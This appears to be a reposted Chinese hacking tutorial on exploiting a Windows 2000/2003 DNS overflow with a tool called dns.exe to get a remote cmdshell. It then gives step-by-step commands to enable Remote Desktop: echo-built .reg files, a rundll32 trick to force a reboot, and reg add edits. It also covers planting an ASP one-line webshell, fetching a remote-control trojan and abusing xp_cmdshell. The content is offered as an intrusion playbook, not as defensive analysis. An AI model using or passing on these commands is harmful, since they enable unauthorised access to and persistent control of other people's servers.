1、2000系统

  简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是dns.exe,在CMD下运行它可以看到它的使用参数等信息。执行"dns -s IP"命令检测目标IP是否存在DNS溢出漏洞。在图中我们可以看出目标主机存在DNS溢出漏洞,操作系统为Windows 2000!接着我们进行溢出攻击,执行"dns -t 2000all IP 1207"后提示要我们检测返回的1100端口的shell。"telnet IP 1100"成功得到返回的cmdshell。注意目录为c:\WINNT\system32,顶部也明显可以看到Windows 2000相关字样。接着我们需要做的是使用"echo"命令写入一个3389.reg注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回车执行:
      echo Windows Registry Editor Version 5.00 >3389.reg 
  echo. >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg 
  echo "Enabled"="0" >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg 
  echo "ShutdownWithoutLogon"="0" >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg 
  echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg 
  echo "TSEnabled"=dword:00000001 >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg 
  echo "Start"=dword:00000002 >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg 
  echo "Start"=dword:00000002 >>3389.reg 
  echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg 
  echo "Hotkey"="1" >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
  echo "PortNumber"=dword:00000D3D >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg 
  echo "PortNumber"=dword:00000D3D >>3389.reg

  简单说明一下,">"符号是覆盖写入文件,如无此文件则创建,有则覆盖原来的内容写入。">>"是追加写入,即在原有文件内容的基础上在后面写入内容。这里是写入内容到3389.reg文件中!需要注意的是第二行,那个作用是写入一行空格,至于为什么需要这样,那是因为.reg文件的格式必须如此!成功写入完毕后接着执行导入操作,执行"regedit /s 3389.reg"。这样注册表文件就已经顺利导入到注册表里去了。不过需要注意的是在cmdshell下不要输错任何一个字符,否则将无法执行,建议先自己打好在记事本上,确保无误之后再复制到cmdshell窗口执行。然后需要做的事就是重启了,如何使目标服务器重启呢?和朋友多方测试后,觉得用下面这个方法比较妥当。在cmdshell下执行如下代码:
      @ECHO OFF & cd/d %temp% & echo [version] > {out}.inf 
  (set inf=InstallHinfSection DefaultInstall) 
  echo signature=$chicago$ >> {out}.inf 
  echo [defaultinstall] >> {out}.inf 
  rundll32 setupapi,%inf% 1 %temp%\{out}.inf

按顺序将以上五行代码一行一行地复制到cmdshell上,复制完一行按一次回车执行,五行都执行完毕后,服务器就会重启的了。至于原理什么的我就不废话了。当然了,让服务器重启的方法比较多,比如结束掉系统关键进程、代码模拟按键等都是可以的,不过个人认为上面推荐的这个方法比较保险!如无意外,等待服务器完成重启之后再连接目标发现远程桌面服务已经成功开启了。至此Windows 2000操作系统溢出后返回的cmdshell下开启远程桌面服务就成功完成了。

  2、2003系统

  相对于2000的系统来说,2003cmdshell下开启远程桌面服务就比较容易一些了,起码无需重启嘛!第一种方法也是用"echo"命令写入一个 3389.reg文件,再"regedit /s 3389.reg"导入注册表文件即可开启,比较简单,与上面介绍的2000的开启方法类似。将如下代码一行一行地复制到cmdshell窗口后按回车执行:
      echo Windows Registry Editor Version 5.00 >3389.reg 
  echo. >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg 
  echo "fDenyTSConnections"=dword:00000000 >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
  echo "PortNumber"=dword:00000d3d >>3389.reg 
  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg 
  echo "PortNumber"=dword:00000d3d >>3389.reg

  完成以上操作后再执行"regedit /s 3389.reg"导入即可生效!不过这个方法相对来说比较麻烦,也比较复杂一些。我们还可以用另外一种比较简单的方法来开启远程桌面服务的,嘿嘿。在介绍另一个操作方法之前,我们先来熟悉下2003系统下远程桌面服务的一个最关键的注册表键值。

  在"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"

  下数值名称为"fDenyTSConnections"的这一项,可以看到它的数值数据为1或0。数值为1的时候关闭远程桌面服务,数值为0的时候开启远程桌面服务。换句话说,我们只要可以在cmdshell下更改这个关键的注册表键值数据就可以达到实现开启远程桌面服务的目的了!有幸的是,在2003下有一个"reg"命令完全可以做到这一点,嘿嘿。这里我们找一台操作系统为2003的服务器,通过和上面介绍的同样方法溢出后返回一个cmdshell。当我们尝试连接的时候会发现根本无法连接上去。下面详细说明一下用"reg"命令开启远程桌面服务。执行:

  reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"

  我们发现"fDenyTSConnections"键值数据为"0x1"。这个是十六进制数的1。上面提到,数据为1则没有开启远程桌面服务。我们要做的就是把"0x1"改成"0x0"!直接用"reg add"是不行的,必须把原来键值删掉再添加!在cmdshell下执行:

  reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

  会询问是否"要删除注册表值 fDenyTSConnections 吗",当然Yes了。再执行:

  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

  提示操作成功完成,如图9。这样就把"fDenyTSConnections"的值改为"0x0"了,我们可以执行:

  reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"

  我们可以查看一下,看看是不是真的改掉了,发现已经成功更改了数据。现在再来连接服务器的3389看看,发现已经可以成功连接上了,加个用户进去参观咯。至此2003下cmdshell开启远程桌面服务的方法也介绍完了。

  四、其他

  当然了,溢出后也不一定要非要在cmdshell下开启远程桌面服务。可以echo个vbs文件,下载远程控制木马,然后在cmdshell里运行一下木马,上线就OK了。还有就是可以查询一下目标IP是否绑定有网站,然后找到网站目录,再用echo个一句话木马进去(命令是:echo "<%execute request("cmd")%>" >WEB路径\test.asp),然后提交大马呀,上传开3389的工具再开启也行!总之方法不只一个,能达到目的就是好方法
   ***下面是利用数据库xp_cmdshell 开启:
exec xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'
查看状态
exec xp_cmdshell 'reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server"'

转自那是花开

cmd 3389的更多相关文章

  1. cmd开启3389

    如何用CMD开启3389与查看3389端口 开启 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server / ...

  2. 开启 3389 的 cmd 命令

    方法一: 测试环境 Windows 2003 server 查看开启的端口 没有开启 3389 端口 执行语句 wmic RDTOGGLE WHERE ServerName='%COMPUTERNAM ...

  3. CMD开放3389端口

    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t R ...

  4. cmd创建用户开启3389命令

    1.创建用户chen Net user chen 1234566 /add 2.将用户chen添加到管理员组 net localgroup Administrators chen /add 3.开启3 ...

  5. 如何用CMD开启3389与查看3389端口

    开启 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections / ...

  6. cmd部分提权常用命令

    ipconfig 显示本地IP地址 net start telnet 开telnet服务 net use z:127.0.0.1c$ 映射对方的C盘 net user 查看所有用户列表 net use ...

  7. Windows CMD命令大全

    http://greatverve.cnblogs.com/archive/2011/12/09/windows-cmd.html 命令简介 cmd是command的缩写.即命令行 . 虽然随着计算机 ...

  8. Windows CMD命令大全【转】

    命令简介 cmd是command的缩写.即命令行 . 虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命运,但是因为它运行安全.稳定,有的用户还在使用,所以一 ...

  9. Windows CMD命令大全(转)

    Windows CMD命令大全   命令简介 cmd是command的缩写.即命令行 . 虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命运,但是因为它运行 ...

随机推荐

  1. hdu_3555_Bomb(数位DP)

    题目连接:hdu_3555_Bomb 题意:和2089一样,只是数据大了点,不过道理是一样的 #include<cstdio> #include<cstring> #defin ...

  2. 二分图匹配之KM求二分图最佳匹配算法

    参考网址:http://blog.163.com/suntroop@yeah/blog/static/17012103120115185927194/ 对于具有二部划分( V1, V2 )的加权完全二 ...

  3. sort函数使用的基本知识

    STL中就自带了排序函数sortsort 对给定区间所有元素进行排序  要使用此函数只需用#include <algorithm> sort即可使用,语法描述为:sort(begin,en ...

  4. LeetCode OJ 61. Rotate List

    Given a list, rotate the list to the right by k places, where k is non-negative. For example:Given 1 ...

  5. 如何复原Eclipse的Package Explorer

    重新设置,复位透视图吧这样的方法最简便window--->reset perspective 你会喜欢这个操作的

  6. .htaccess重写URL讲解

    使用ThinkPHP和Laravel等框架的都知道,所以的请求都需要经过index.php文件入口,无论你的URI是什么. 当然除了访问的是静态文件或者访问路径的文件真实存在,例如你访问xxx.com ...

  7. 怎样让pl sql developer 界面视图复位

    tools->preferences->user interface->appearance->reset docking工具-首选项-用户界面-外观-复位停放

  8. JPA 系列教程4-单向一对多

    JPA中的@OneToMany @Target({METHOD, FIELD}) @Retention(RUNTIME) public @interface OneToMany { Class tar ...

  9. UIKit控件直接显示网页文字内容

    NSString *html = @"<bold>Hello</bold> Now<br> <em>iOS</em> can cr ...

  10. Swift 常用字符串操作

    原文链接:http://www.jianshu.com/p/52e7580166ff 版本2:增加了Swift 2.0的语法,与Swift 1.2的语法相比,主要是:advance方法变成了advan ...